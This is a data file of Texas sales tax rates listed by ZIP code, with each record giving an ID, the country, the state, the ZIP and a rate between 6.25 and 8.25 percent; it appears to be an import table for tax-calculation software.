US-TX-75458,US,TX,75458,6.75,,,, US-TX-75459,US,TX,75459,6.25,,,, US-TX-75460,US,TX,75460,8.25,,,, US-TX-75461,US,TX,75461,8.25,,,, US-TX-75462,US,TX,75462,6.75,,,, US-TX-75468,US,TX,75468,6.75,,,, US-TX-75469,US,TX,75469,7.25,,,, US-TX-75470,US,TX,75470,6.75,,,, US-TX-75471,US,TX,75471,6.75,,,, US-TX-75472,US,TX,75472,6.75,,,, US-TX-75473,US,TX,75473,6.75,,,, US-TX-75474,US,TX,75474,6.75,,,, US-TX-75475,US,TX,75475,6.75,,,, US-TX-75476,US,TX,75476,6.75,,,, US-TX-75477,US,TX,75477,6.75,,,, US-TX-75478,US,TX,75478,6.75,,,, US-TX-75479,US,TX,75479,6.75,,,, US-TX-75480,US,TX,75480,6.75,,,, US-TX-75481,US,TX,75481,6.75,,,, US-TX-75482,US,TX,75482,6.75,,,, US-TX-75483,US,TX,75483,8.25,,,, US-TX-75485,US,TX,75485,6.25,,,, US-TX-75486,US,TX,75486,6.75,,,, US-TX-75487,US,TX,75487,6.75,,,, US-TX-75488,US,TX,75488,6.75,,,, US-TX-75489,US,TX,75489,8.25,,,, US-TX-75490,US,TX,75490,6.75,,,, US-TX-75491,US,TX,75491,6.25,,,, US-TX-75492,US,TX,75492,6.75,,,, US-TX-75493,US,TX,75493,8,,,, US-TX-75494,US,TX,75494,6.75,,,, US-TX-75495,US,TX,75495,6.25,,,, US-TX-75496,US,TX,75496,6.75,,,, US-TX-75497,US,TX,75497,6.75,,,, US-TX-75501,US,TX,75501,8.25,,,, US-TX-75503,US,TX,75503,8.25,,,, US-TX-75505,US,TX,75505,8.25,,,, US-TX-75507,US,TX,75507,8.25,,,, US-TX-75550,US,TX,75550,6.75,,,, US-TX-75551,US,TX,75551,6.25,,,, US-TX-75554,US,TX,75554,7.75,,,, US-TX-75555,US,TX,75555,6.25,,,, US-TX-75556,US,TX,75556,6.25,,,, US-TX-75558,US,TX,75558,6.75,,,, US-TX-75559,US,TX,75559,6.75,,,, US-TX-75560,US,TX,75560,6.25,,,, US-TX-75561,US,TX,75561,6.75,,,, US-TX-75562,US,TX,75562,6.25,,,, US-TX-75563,US,TX,75563,6.25,,,, US-TX-75564,US,TX,75564,6.75,,,, US-TX-75565,US,TX,75565,6.25,,,, US-TX-75566,US,TX,75566,6.25,,,, US-TX-75567,US,TX,75567,6.75,,,, US-TX-75568,US,TX,75568,6.25,,,, US-TX-75569,US,TX,75569,8.25,,,, US-TX-75570,US,TX,75570,6.75,,,, US-TX-75571,US,TX,75571,6.75,,,, US-TX-75572,US,TX,75572,6.25,,,, US-TX-75573,US,TX,75573,8.25,,,, US-TX-75574,US,TX,75574,6.75,,,, US-TX-75599,US,TX,75599,8.25,,,, US-TX-75601,US,TX,75601,8.25,,,, US-TX-75602,US,TX,75602,8.25,,,, US-TX-75603,US,TX,75603,6.75,,,, US-TX-75604,US,TX,75604,8.25,,,, US-TX-75605,US,TX,75605,8.25,,,, US-TX-75606,US,TX,75606,8.25,,,, US-TX-75607,US,TX,75607,8.25,,,, US-TX-75608,US,TX,75608,8.25,,,, US-TX-75615,US,TX,75615,8.25,,,, US-TX-75630,US,TX,75630,6.75,,,, US-TX-75631,US,TX,75631,6.25,,,, US-TX-75633,US,TX,75633,6.25,,,, US-TX-75636,US,TX,75636,6.75,,,, US-TX-75637,US,TX,75637,6.25,,,, US-TX-75638,US,TX,75638,6.75,,,, US-TX-75639,US,TX,75639,6.25,,,, US-TX-75640,US,TX,75640,6.75,,,, US-TX-75641,US,TX,75641,7.75,,,, US-TX-75642,US,TX,75642,6.25,,,, US-TX-75643,US,TX,75643,6.25,,,, US-TX-75644,US,TX,75644,6.75,,,, US-TX-75645,US,TX,75645,6.75,,,, US-TX-75647,US,TX,75647,8.25,,,, US-TX-75650,US,TX,75650,6.25,,,, US-TX-75651,US,TX,75651,6.25,,,, US-TX-75652,US,TX,75652,6.25,,,, US-TX-75653,US,TX,75653,8.25,,,, US-TX-75654,US,TX,75654,6.25,,,, US-TX-75656,US,TX,75656,6.25,,,, US-TX-75657,US,TX,75657,6.75,,,, US-TX-75658,US,TX,75658,6.25,,,, US-TX-75659,US,TX,75659,6.25,,,, US-TX-75660,US,TX,75660,6.75,,,, US-TX-75661,US,TX,75661,6.25,,,, US-TX-75662,US,TX,75662,8.25,,,, US-TX-75663,US,TX,75663,8.25,,,, US-TX-75666,US,TX,75666,6.25,,,, US-TX-75667,US,TX,75667,6.25,,,, US-TX-75668,US,TX,75668,7.75,,,, US-TX-75669,US,TX,75669,6.25,,,, US-TX-75670,US,TX,75670,8.25,,,, US-TX-75671,US,TX,75671,8.25,,,, US-TX-75672,US,TX,75672,6.25,,,, US-TX-75680,US,TX,75680,8.25,,,, US-TX-75681,US,TX,75681,6.25,,,, US-TX-75682,US,TX,75682,6.25,,,, US-TX-75683,US,TX,75683,6.75,,,, US-TX-75684,US,TX,75684,6.25,,,, US-TX-75685,US,TX,75685,6.25,,,, US-TX-75686,US,TX,75686,6.75,,,, US-TX-75687,US,TX,75687,6.25,,,, US-TX-75688,US,TX,75688,6.25,,,, US-TX-75689,US,TX,75689,6.25,,,, US-TX-75691,US,TX,75691,6.25,,,, US-TX-75692,US,TX,75692,6.25,,,, US-TX-75693,US,TX,75693,8.25,,,, US-TX-75694,US,TX,75694,6.25,,,, US-TX-75701,US,TX,75701,8.25,,,, US-TX-75702,US,TX,75702,8.25,,,, US-TX-75703,US,TX,75703,8.25,,,, US-TX-75704,US,TX,75704,6.75,,,, US-TX-75705,US,TX,75705,6.75,,,, US-TX-75706,US,TX,75706,6.75,,,, US-TX-75707,US,TX,75707,6.75,,,, US-TX-75708,US,TX,75708,6.75,,,, US-TX-75709,US,TX,75709,6.75,,,, US-TX-75710,US,TX,75710,8.25,,,, US-TX-75711,US,TX,75711,8.25,,,, US-TX-75712,US,TX,75712,8.25,,,, US-TX-75713,US,TX,75713,8.25,,,, US-TX-75750,US,TX,75750,6.75,,,, US-TX-75751,US,TX,75751,8.25,,,, US-TX-75752,US,TX,75752,6.25,,,, US-TX-75754,US,TX,75754,6.25,,,, US-TX-75755,US,TX,75755,6.75,,,, US-TX-75756,US,TX,75756,6.25,,,, US-TX-75757,US,TX,75757,6.75,,,, US-TX-75758,US,TX,75758,6.25,,,, US-TX-75759,US,TX,75759,8.25,,,, US-TX-75760,US,TX,75760,7.25,,,, US-TX-75762,US,TX,75762,6.75,,,, US-TX-75763,US,TX,75763,6.75,,,, US-TX-75764,US,TX,75764,6.75,,,, US-TX-75765,US,TX,75765,6.75,,,, US-TX-75766,US,TX,75766,6.75,,,, US-TX-75770,US,TX,75770,6.25,,,, US-TX-75771,US,TX,75771,6.75,,,, US-TX-75772,US,TX,75772,6.75,,,, US-TX-75773,US,TX,75773,6.75,,,, US-TX-75778,US,TX,75778,6.25,,,, US-TX-75779,US,TX,75779,6.75,,,, US-TX-75780,US,TX,75780,7.75,,,, US-TX-75782,US,TX,75782,7.25,,,, US-TX-75783,US,TX,75783,6.75,,,, US-TX-75784,US,TX,75784,7.75,,,, US-TX-75785,US,TX,75785,6.75,,,, US-TX-75788,US,TX,75788,7.25,,,, US-TX-75789,US,TX,75789,6.75,,,, US-TX-75790,US,TX,75790,8.25,,,, US-TX-75791,US,TX,75791,8.25,,,, US-TX-75792,US,TX,75792,6.75,,,, US-TX-75797,US,TX,75797,8.25,,,, US-TX-75798,US,TX,75798,8.25,,,, US-TX-75799,US,TX,75799,8.25,,,, US-TX-75801,US,TX,75801,8.25,,,, US-TX-75802,US,TX,75802,8.25,,,, US-TX-75803,US,TX,75803,6.75,,,, US-TX-75831,US,TX,75831,6.75,,,, US-TX-75832,US,TX,75832,6.75,,,, US-TX-75833,US,TX,75833,6.75,,,, US-TX-75834,US,TX,75834,6.25,,,, US-TX-75835,US,TX,75835,8.25,,,, US-TX-75838,US,TX,75838,6.25,,,, US-TX-75839,US,TX,75839,6.75,,,, US-TX-75840,US,TX,75840,8.25,,,, US-TX-75844,US,TX,75844,6.75,,,, US-TX-75845,US,TX,75845,6.25,,,, US-TX-75846,US,TX,75846,6.75,,,, US-TX-75847,US,TX,75847,6.75,,,, US-TX-75848,US,TX,75848,7.75,,,, US-TX-75849,US,TX,75849,7.75,,,, US-TX-75850,US,TX,75850,6.75,,,, US-TX-75851,US,TX,75851,6.75,,,, US-TX-75852,US,TX,75852,6.75,,,, US-TX-75853,US,TX,75853,6.75,,,, US-TX-75855,US,TX,75855,6.75,,,, US-TX-75856,US,TX,75856,6.25,,,, US-TX-75858,US,TX,75858,6.75,,,, US-TX-75859,US,TX,75859,6.25,,,, US-TX-75860,US,TX,75860,8.25,,,, US-TX-75861,US,TX,75861,6.75,,,, US-TX-75862,US,TX,75862,6.25,,,, US-TX-75865,US,TX,75865,6.25,,,, US-TX-75880,US,TX,75880,6.75,,,, US-TX-75882,US,TX,75882,6.75,,,, US-TX-75884,US,TX,75884,6.75,,,, US-TX-75886,US,TX,75886,6.75,,,, US-TX-75901,US,TX,75901,8.25,,,, US-TX-75902,US,TX,75902,8.25,,,, US-TX-75903,US,TX,75903,8.25,,,, US-TX-75904,US,TX,75904,8.25,,,, US-TX-75915,US,TX,75915,8.25,,,, US-TX-75925,US,TX,75925,6.75,,,, US-TX-75926,US,TX,75926,6.25,,,, US-TX-75928,US,TX,75928,6.25,,,, US-TX-75929,US,TX,75929,6.75,,,, US-TX-75930,US,TX,75930,6.75,,,, US-TX-75931,US,TX,75931,6.25,,,, US-TX-75932,US,TX,75932,6.25,,,, US-TX-75933,US,TX,75933,6.25,,,, US-TX-75934,US,TX,75934,6.75,,,, US-TX-75935,US,TX,75935,6.25,,,, US-TX-75936,US,TX,75936,6.75,,,, US-TX-75937,US,TX,75937,7.25,,,, US-TX-75938,US,TX,75938,6.75,,,, US-TX-75939,US,TX,75939,6.75,,,, US-TX-75941,US,TX,75941,8.25,,,, US-TX-75942,US,TX,75942,6.75,,,, US-TX-75943,US,TX,75943,7.25,,,, US-TX-75944,US,TX,75944,7.25,,,, US-TX-75946,US,TX,75946,7.25,,,, US-TX-75948,US,TX,75948,6.75,,,, US-TX-75949,US,TX,75949,6.75,,,, US-TX-75951,US,TX,75951,8.25,,,, US-TX-75954,US,TX,75954,6.25,,,, US-TX-75956,US,TX,75956,6.25,,,, US-TX-75958,US,TX,75958,7.25,,,, US-TX-75959,US,TX,75959,6.75,,,, US-TX-75960,US,TX,75960,6.75,,,, US-TX-75961,US,TX,75961,8.25,,,, US-TX-75962,US,TX,75962,8.25,,,, US-TX-75963,US,TX,75963,8.25,,,, US-TX-75964,US,TX,75964,7.25,,,, US-TX-75965,US,TX,75965,8.25,,,, US-TX-75966,US,TX,75966,6.25,,,, US-TX-75968,US,TX,75968,6.75,,,, US-TX-75969,US,TX,75969,6.75,,,, US-TX-75972,US,TX,75972,8.25,,,, US-TX-75973,US,TX,75973,6.25,,,, US-TX-75974,US,TX,75974,6.25,,,, US-TX-75975,US,TX,75975,6.75,,,, US-TX-75976,US,TX,75976,7.75,,,, US-TX-75977,US,TX,75977,6.25,,,, US-TX-75978,US,TX,75978,7.25,,,, US-TX-75979,US,TX,75979,6.75,,,, US-TX-75980,US,TX,75980,6.75,,,, US-TX-75990,US,TX,75990,8.25,,,, US-TX-76001,US,TX,76001,8,,,, US-TX-76002,US,TX,76002,8,,,, US-TX-76003,US,TX,76003,8,,,, US-TX-76004,US,TX,76004,8,,,, US-TX-76005,US,TX,76005,8,,,, US-TX-76006,US,TX,76006,8,,,, US-TX-76007,US,TX,76007,8,,,, US-TX-76008,US,TX,76008,6.75,,,, US-TX-76009,US,TX,76009,6.25,,,, US-TX-76010,US,TX,76010,8,,,, US-TX-76011,US,TX,76011,8,,,, US-TX-76012,US,TX,76012,8,,,, US-TX-76013,US,TX,76013,8,,,, US-TX-76014,US,TX,76014,8,,,, US-TX-76015,US,TX,76015,8,,,, US-TX-76016,US,TX,76016,8,,,, US-TX-76017,US,TX,76017,8,,,, US-TX-76018,US,TX,76018,8,,,, US-TX-76019,US,TX,76019,8,,,, US-TX-76020,US,TX,76020,6.75,,,, US-TX-76021,US,TX,76021,8.25,,,, US-TX-76022,US,TX,76022,8.25,,,, US-TX-76023,US,TX,76023,6.75,,,, US-TX-76028,US,TX,76028,8.25,,,, US-TX-76031,US,TX,76031,6.25,,,, US-TX-76033,US,TX,76033,7.75,,,, US-TX-76034,US,TX,76034,8.25,,,, US-TX-76035,US,TX,76035,8,,,, US-TX-76036,US,TX,76036,8.25,,,, US-TX-76039,US,TX,76039,8.25,,,, US-TX-76040,US,TX,76040,8.25,,,, US-TX-76041,US,TX,76041,6.25,,,, US-TX-76043,US,TX,76043,6.25,,,, US-TX-76044,US,TX,76044,6.25,,,, US-TX-76048,US,TX,76048,6.75,,,, US-TX-76049,US,TX,76049,6.75,,,, US-TX-76050,US,TX,76050,6.25,,,, US-TX-76051,US,TX,76051,8.25,,,, US-TX-76052,US,TX,76052,8.25,,,, US-TX-76053,US,TX,76053,8.25,,,, US-TX-76054,US,TX,76054,8.25,,,, US-TX-76055,US,TX,76055,6.75,,,, US-TX-76058,US,TX,76058,6.25,,,, US-TX-76059,US,TX,76059,8.25,,,, US-TX-76060,US,TX,76060,8.25,,,, US-TX-76061,US,TX,76061,6.25,,,, US-TX-76063,US,TX,76063,8.25,,,, US-TX-76064,US,TX,76064,6.25,,,, US-TX-76065,US,TX,76065,8.25,,,, US-TX-76066,US,TX,76066,6.75,,,, US-TX-76067,US,TX,76067,8.25,,,, US-TX-76068,US,TX,76068,8.25,,,, US-TX-76070,US,TX,76070,6.25,,,, US-TX-76071,US,TX,76071,6.75,,,, US-TX-76073,US,TX,76073,6.75,,,, US-TX-76077,US,TX,76077,6.25,,,, US-TX-76078,US,TX,76078,6.75,,,, US-TX-76082,US,TX,76082,6.75,,,, US-TX-76084,US,TX,76084,6.25,,,, US-TX-76085,US,TX,76085,6.75,,,, US-TX-76086,US,TX,76086,8.25,,,, US-TX-76087,US,TX,76087,6.75,,,, US-TX-76088,US,TX,76088,6.75,,,, US-TX-76092,US,TX,76092,8.25,,,, US-TX-76093,US,TX,76093,6.25,,,, US-TX-76094,US,TX,76094,8,,,, US-TX-76095,US,TX,76095,8.25,,,, US-TX-76096,US,TX,76096,8,,,, US-TX-76097,US,TX,76097,8.25,,,, US-TX-76098,US,TX,76098,8.25,,,, US-TX-76099,US,TX,76099,8.25,,,, US-TX-76101,US,TX,76101,8.25,,,, US-TX-76102,US,TX,76102,8.25,,,, US-TX-76103,US,TX,76103,8.25,,,, US-TX-76104,US,TX,76104,8.25,,,, US-TX-76105,US,TX,76105,8.25,,,, US-TX-76106,US,TX,76106,8.25,,,, US-TX-76107,US,TX,76107,8.25,,,, US-TX-76108,US,TX,76108,8.25,,,, US-TX-76109,US,TX,76109,8.25,,,, US-TX-76110,US,TX,76110,8.25,,,, US-TX-76111,US,TX,76111,8.25,,,, US-TX-76112,US,TX,76112,8.25,,,, US-TX-76113,US,TX,76113,8.25,,,, US-TX-76114,US,TX,76114,8.25,,,, US-TX-76115,US,TX,76115,8.25,,,, US-TX-76116,US,TX,76116,8.25,,,, US-TX-76117,US,TX,76117,8.25,,,, US-TX-76118,US,TX,76118,8.25,,,, US-TX-76119,US,TX,76119,8.25,,,, US-TX-76120,US,TX,76120,8.25,,,, US-TX-76121,US,TX,76121,8.25,,,, US-TX-76122,US,TX,76122,8.25,,,, US-TX-76123,US,TX,76123,8.25,,,, US-TX-76124,US,TX,76124,8.25,,,, US-TX-76126,US,TX,76126,8.25,,,, US-TX-76127,US,TX,76127,8.25,,,, US-TX-76129,US,TX,76129,8.25,,,, US-TX-76130,US,TX,76130,8.25,,,, US-TX-76131,US,TX,76131,8.25,,,, US-TX-76132,US,TX,76132,8.25,,,, US-TX-76133,US,TX,76133,8.25,,,, US-TX-76134,US,TX,76134,8.25,,,, US-TX-76135,US,TX,76135,8.25,,,, US-TX-76136,US,TX,76136,8.25,,,, US-TX-76137,US,TX,76137,8.25,,,, US-TX-76140,US,TX,76140,8.25,,,, US-TX-76147,US,TX,76147,8.25,,,, US-TX-76148,US,TX,76148,8.25,,,, US-TX-76150,US,TX,76150,8.25,,,, US-TX-76155,US,TX,76155,8.25,,,, US-TX-76161,US,TX,76161,8.25,,,, US-TX-76162,US,TX,76162,8.25,,,, US-TX-76163,US,TX,76163,8.25,,,, US-TX-76164,US,TX,76164,8.25,,,, US-TX-76166,US,TX,76166,8.25,,,, US-TX-76177,US,TX,76177,8.25,,,, US-TX-76179,US,TX,76179,8.25,,,, US-TX-76180,US,TX,76180,8.25,,,, US-TX-76181,US,TX,76181,8.25,,,, US-TX-76182,US,TX,76182,8.25,,,, US-TX-76185,US,TX,76185,8.25,,,, US-TX-76190,US,TX,76190,8.25,,,, US-TX-76191,US,TX,76191,8.25,,,, US-TX-76192,US,TX,76192,8.25,,,, US-TX-76193,US,TX,76193,8.25,,,, US-TX-76195,US,TX,76195,8.25,,,, US-TX-76196,US,TX,76196,8.25,,,, US-TX-76197,US,TX,76197,8.25,,,, US-TX-76198,US,TX,76198,8.25,,,, US-TX-76199,US,TX,76199,8.25,,,, US-TX-76201,US,TX,76201,8.25,,,, US-TX-76202,US,TX,76202,8.25,,,, US-TX-76203,US,TX,76203,8.25,,,, US-TX-76204,US,TX,76204,8.25,,,, US-TX-76205,US,TX,76205,8.25,,,, US-TX-76206,US,TX,76206,8.25,,,, US-TX-76207,US,TX,76207,8.25,,,, US-TX-76208,US,TX,76208,8.25,,,, US-TX-76209,US,TX,76209,8.25,,,, US-TX-76210,US,TX,76210,8.25,,,, US-TX-76225,US,TX,76225,6.75,,,, US-TX-76226,US,TX,76226,8.25,,,, US-TX-76227,US,TX,76227,6.25,,,, US-TX-76228,US,TX,76228,6.25,,,, US-TX-76230,US,TX,76230,8.25,,,, US-TX-76233,US,TX,76233,6.25,,,, US-TX-76234,US,TX,76234,6.75,,,, US-TX-76238,US,TX,76238,6.75,,,, US-TX-76239,US,TX,76239,6.25,,,, US-TX-76240,US,TX,76240,6.75,,,, US-TX-76241,US,TX,76241,8.25,,,, US-TX-76244,US,TX,76244,8.25,,,, US-TX-76245,US,TX,76245,6.25,,,, US-TX-76247,US,TX,76247,6.25,,,, US-TX-76248,US,TX,76248,8.25,,,, US-TX-76249,US,TX,76249,6.25,,,, US-TX-76250,US,TX,76250,8.25,,,, US-TX-76251,US,TX,76251,6.25,,,, US-TX-76252,US,TX,76252,6.75,,,, US-TX-76253,US,TX,76253,6.75,,,, US-TX-76255,US,TX,76255,6.25,,,, US-TX-76258,US,TX,76258,6.25,,,, US-TX-76259,US,TX,76259,6.25,,,, US-TX-76261,US,TX,76261,6.25,,,, US-TX-76262,US,TX,76262,8.25,,,, US-TX-76263,US,TX,76263,6.75,,,, US-TX-76264,US,TX,76264,6.25,,,, US-TX-76265,US,TX,76265,8.25,,,, US-TX-76266,US,TX,76266,6.25,,,, US-TX-76267,US,TX,76267,6.75,,,, US-TX-76268,US,TX,76268,8.25,,,, US-TX-76270,US,TX,76270,6.25,,,, US-TX-76271,US,TX,76271,6.25,,,, US-TX-76272,US,TX,76272,6.75,,,, US-TX-76273,US,TX,76273,6.25,,,, US-TX-76301,US,TX,76301,8.25,,,, US-TX-76302,US,TX,76302,8.25,,,, US-TX-76305,US,TX,76305,6.25,,,, US-TX-76306,US,TX,76306,8.25,,,, US-TX-76307,US,TX,76307,8.25,,,, US-TX-76308,US,TX,76308,8.25,,,, US-TX-76309,US,TX,76309,8.25,,,, US-TX-76310,US,TX,76310,8.25,,,, US-TX-76311,US,TX,76311,8.25,,,, US-TX-76351,US,TX,76351,8.25,,,, US-TX-76352,US,TX,76352,6.25,,,, US-TX-76354,US,TX,76354,8.25,,,, US-TX-76357,US,TX,76357,6.25,,,, US-TX-76360,US,TX,76360,6.25,,,, US-TX-76363,US,TX,76363,8.25,,,, US-TX-76364,US,TX,76364,6.75,,,, US-TX-76365,US,TX,76365,8.25,,,, US-TX-76366,US,TX,76366,6.75,,,, US-TX-76367,US,TX,76367,6.25,,,, US-TX-76369,US,TX,76369,6.25,,,, US-TX-76370,US,TX,76370,7.75,,,, US-TX-76371,US,TX,76371,6.25,,,, US-TX-76372,US,TX,76372,7.75,,,, US-TX-76373,US,TX,76373,6.75,,,, US-TX-76374,US,TX,76374,8.25,,,, US-TX-76377,US,TX,76377,6.25,,,, US-TX-76379,US,TX,76379,8.25,,,, US-TX-76380,US,TX,76380,8.25,,,, US-TX-76384,US,TX,76384,8.25,,,, US-TX-76385,US,TX,76385,8.25,,,, US-TX-76388,US,TX,76388,6.25,,,, US-TX-76389,US,TX,76389,6.75,,,, US-TX-76401,US,TX,76401,6.75,,,, US-TX-76402,US,TX,76402,8.25,,,, US-TX-76424,US,TX,76424,8.25,,,, US-TX-76426,US,TX,76426,8.25,,,, US-TX-76427,US,TX,76427,6.25,,,, US-TX-76429,US,TX,76429,6.25,,,, US-TX-76430,US,TX,76430,8.25,,,, US-TX-76431,US,TX,76431,6.75,,,, US-TX-76432,US,TX,76432,6.25,,,, US-TX-76433,US,TX,76433,6.75,,,, US-TX-76435,US,TX,76435,7.25,,,, US-TX-76436,US,TX,76436,6.75,,,, US-TX-76437,US,TX,76437,8.25,,,, US-TX-76439,US,TX,76439,6.75,,,, US-TX-76442,US,TX,76442,8.25,,,, US-TX-76443,US,TX,76443,6.25,,,, US-TX-76444,US,TX,76444,8.25,,,, US-TX-76445,US,TX,76445,6.25,,,, US-TX-76446,US,TX,76446,6.75,,,, US-TX-76448,US,TX,76448,8.25,,,, US-TX-76449,US,TX,76449,6.75,,,, US-TX-76450,US,TX,76450,8.25,,,, US-TX-76452,US,TX,76452,6.75,,,, US-TX-76453,US,TX,76453,6.75,,,, US-TX-76454,US,TX,76454,8.25,,,, US-TX-76455,US,TX,76455,6.75,,,, US-TX-76457,US,TX,76457,8.25,,,, US-TX-76458,US,TX,76458,8.25,,,, US-TX-76459,US,TX,76459,6.25,,,, US-TX-76460,US,TX,76460,6.75,,,, US-TX-76461,US,TX,76461,6.75,,,, US-TX-76462,US,TX,76462,6.75,,,, US-TX-76463,US,TX,76463,6.75,,,, US-TX-76464,US,TX,76464,6.25,,,, US-TX-76465,US,TX,76465,6.75,,,, US-TX-76466,US,TX,76466,6.75,,,, US-TX-76467,US,TX,76467,8.25,,,, US-TX-76468,US,TX,76468,6.75,,,, US-TX-76469,US,TX,76469,7.25,,,, US-TX-76470,US,TX,76470,8.25,,,, US-TX-76471,US,TX,76471,6.25,,,, US-TX-76472,US,TX,76472,6.75,,,, US-TX-76474,US,TX,76474,6.75,,,, US-TX-76475,US,TX,76475,6.75,,,, US-TX-76476,US,TX,76476,6.75,,,, US-TX-76481,US,TX,76481,6.75,,,, US-TX-76483,US,TX,76483,8.25,,,, US-TX-76484,US,TX,76484,6.75,,,, US-TX-76485,US,TX,76485,6.75,,,, US-TX-76486,US,TX,76486,6.25,,,, US-TX-76487,US,TX,76487,6.75,,,, US-TX-76490,US,TX,76490,6.75,,,, US-TX-76491,US,TX,76491,6.25,,,, US-TX-76501,US,TX,76501,8.25,,,, US-TX-76502,US,TX,76502,8.25,,,, US-TX-76503,US,TX,76503,8.25,,,, US-TX-76504,US,TX,76504,8.25,,,, US-TX-76505,US,TX,76505,8.25,,,, US-TX-76508,US,TX,76508,8.25,,,, US-TX-76511,US,TX,76511,7.75,,,, US-TX-76513,US,TX,76513,8.25,,,, US-TX-76518,US,TX,76518,6.75,,,, US-TX-76519,US,TX,76519,6.75,,,, US-TX-76520,US,TX,76520,8.25,,,, US-TX-76522,US,TX,76522,8.25,,,, US-TX-76523,US,TX,76523,6.75,,,, US-TX-76524,US,TX,76524,6.75,,,, US-TX-76525,US,TX,76525,8.25,,,, US-TX-76526,US,TX,76526,6.75,,,, US-TX-76527,US,TX,76527,6.5,,,, US-TX-76528,US,TX,76528,6.75,,,, US-TX-76530,US,TX,76530,6.25,,,, US-TX-76531,US,TX,76531,8.25,,,, US-TX-76533,US,TX,76533,6.75,,,, US-TX-76534,US,TX,76534,6.75,,,, US-TX-76537,US,TX,76537,6.25,,,, US-TX-76538,US,TX,76538,6.75,,,, US-TX-76539,US,TX,76539,6.75,,,, US-TX-76540,US,TX,76540,8.25,,,, US-TX-76541,US,TX,76541,8.25,,,, US-TX-76542,US,TX,76542,8.25,,,, US-TX-76543,US,TX,76543,8.25,,,, US-TX-76544,US,TX,76544,6.75,,,, US-TX-76547,US,TX,76547,8.25,,,, US-TX-76548,US,TX,76548,8.25,,,, US-TX-76549,US,TX,76549,8.25,,,, US-TX-76550,US,TX,76550,8.25,,,, US-TX-76554,US,TX,76554,7.75,,,, US-TX-76556,US,TX,76556,6.75,,,, US-TX-76557,US,TX,76557,6.75,,,, US-TX-76558,US,TX,76558,6.75,,,, US-TX-76559,US,TX,76559,8.25,,,, US-TX-76561,US,TX,76561,6.75,,,, US-TX-76564,US,TX,76564,6.75,,,, US-TX-76565,US,TX,76565,6.75,,,, US-TX-76566,US,TX,76566,6.75,,,, US-TX-76567,US,TX,76567,8.25,,,, US-TX-76569,US,TX,76569,6.75,,,, US-TX-76570,US,TX,76570,8.25,,,, US-TX-76571,US,TX,76571,7.25,,,, US-TX-76573,US,TX,76573,6.25,,,, US-TX-76574,US,TX,76574,8.25,,,, US-TX-76577,US,TX,76577,6.75,,,, US-TX-76578,US,TX,76578,6.25,,,, US-TX-76579,US,TX,76579,8.25,,,, US-TX-76596,US,TX,76596,8.25,,,, US-TX-76597,US,TX,76597,6.75,,,, US-TX-76598,US,TX,76598,8.25,,,, US-TX-76599,US,TX,76599,8.25,,,, US-TX-76621,US,TX,76621,6.75,,,, US-TX-76622,US,TX,76622,6.75,,,, US-TX-76623,US,TX,76623,6.25,,,, US-TX-76624,US,TX,76624,6.75,,,, US-TX-76626,US,TX,76626,7.75,,,, US-TX-76627,US,TX,76627,6.75,,,, US-TX-76628,US,TX,76628,6.75,,,, US-TX-76629,US,TX,76629,8.25,,,, US-TX-76630,US,TX,76630,6.75,,,, US-TX-76631,US,TX,76631,7.75,,,, US-TX-76632,US,TX,76632,6.75,,,, US-TX-76633,US,TX,76633,6.75,,,, US-TX-76634,US,TX,76634,8.25,,,, US-TX-76635,US,TX,76635,7.25,,,, US-TX-76636,US,TX,76636,6.75,,,, US-TX-76637,US,TX,76637,7.75,,,, US-TX-76638,US,TX,76638,6.75,,,, US-TX-76639,US,TX,76639,6.75,,,, US-TX-76640,US,TX,76640,6.75,,,, US-TX-76641,US,TX,76641,6.75,,,, US-TX-76642,US,TX,76642,8.25,,,, US-TX-76643,US,TX,76643,8.25,,,, US-TX-76644,US,TX,76644,8.25,,,, US-TX-76645,US,TX,76645,8.25,,,, US-TX-76648,US,TX,76648,8.25,,,, US-TX-76649,US,TX,76649,6.75,,,, US-TX-76650,US,TX,76650,6.75,,,, US-TX-76651,US,TX,76651,6.25,,,, US-TX-76652,US,TX,76652,6.75,,,, US-TX-76653,US,TX,76653,7.25,,,, US-TX-76654,US,TX,76654,7.75,,,, US-TX-76655,US,TX,76655,6.75,,,, US-TX-76656,US,TX,76656,8.25,,,, US-TX-76657,US,TX,76657,8.25,,,, US-TX-76660,US,TX,76660,8.25,,,, US-TX-76661,US,TX,76661,8.25,,,, US-TX-76664,US,TX,76664,8,,,, US-TX-76665,US,TX,76665,8.25,,,, US-TX-76666,US,TX,76666,7.75,,,, US-TX-76667,US,TX,76667,8.25,,,, US-TX-76670,US,TX,76670,7.25,,,, US-TX-76671,US,TX,76671,6.75,,,, US-TX-76673,US,TX,76673,6.75,,,, US-TX-76676,US,TX,76676,7.75,,,, US-TX-76678,US,TX,76678,6.25,,,, US-TX-76679,US,TX,76679,6.75,,,, US-TX-76680,US,TX,76680,6.75,,,, US-TX-76681,US,TX,76681,7.75,,,, US-TX-76682,US,TX,76682,6.75,,,, US-TX-76684,US,TX,76684,7.75,,,, US-TX-76685,US,TX,76685,6.75,,,, US-TX-76686,US,TX,76686,6.25,,,, US-TX-76687,US,TX,76687,6.25,,,, US-TX-76689,US,TX,76689,6.75,,,, US-TX-76690,US,TX,76690,7.75,,,, US-TX-76691,US,TX,76691,8.25,,,, US-TX-76692,US,TX,76692,6.75,,,, US-TX-76693,US,TX,76693,8.25,,,, US-TX-76701,US,TX,76701,8.25,,,, US-TX-76702,US,TX,76702,8.25,,,, US-TX-76703,US,TX,76703,8.25,,,, US-TX-76704,US,TX,76704,8.25,,,, US-TX-76705,US,TX,76705,8.25,,,, US-TX-76706,US,TX,76706,8.25,,,, US-TX-76707,US,TX,76707,8.25,,,, US-TX-76708,US,TX,76708,8.25,,,, US-TX-76710,US,TX,76710,8.25,,,, US-TX-76711,US,TX,76711,8.25,,,, US-TX-76712,US,TX,76712,8.25,,,, US-TX-76714,US,TX,76714,8.25,,,, US-TX-76715,US,TX,76715,8.25,,,, US-TX-76716,US,TX,76716,8.25,,,, US-TX-76797,US,TX,76797,8.25,,,, US-TX-76798,US,TX,76798,8.25,,,, US-TX-76799,US,TX,76799,8.25,,,, US-TX-76801,US,TX,76801,8.25,,,, US-TX-76802,US,TX,76802,6.25,,,, US-TX-76803,US,TX,76803,8.25,,,, US-TX-76804,US,TX,76804,8.25,,,, US-TX-76820,US,TX,76820,7.25,,,, US-TX-76821,US,TX,76821,8.25,,,, US-TX-76823,US,TX,76823,8.25,,,, US-TX-76824,US,TX,76824,6.75,,,, US-TX-76825,US,TX,76825,8.25,,,, US-TX-76827,US,TX,76827,6.25,,,, US-TX-76828,US,TX,76828,6.25,,,, US-TX-76831,US,TX,76831,6.25,,,, US-TX-76832,US,TX,76832,6.75,,,, US-TX-76834,US,TX,76834,8.25,,,, 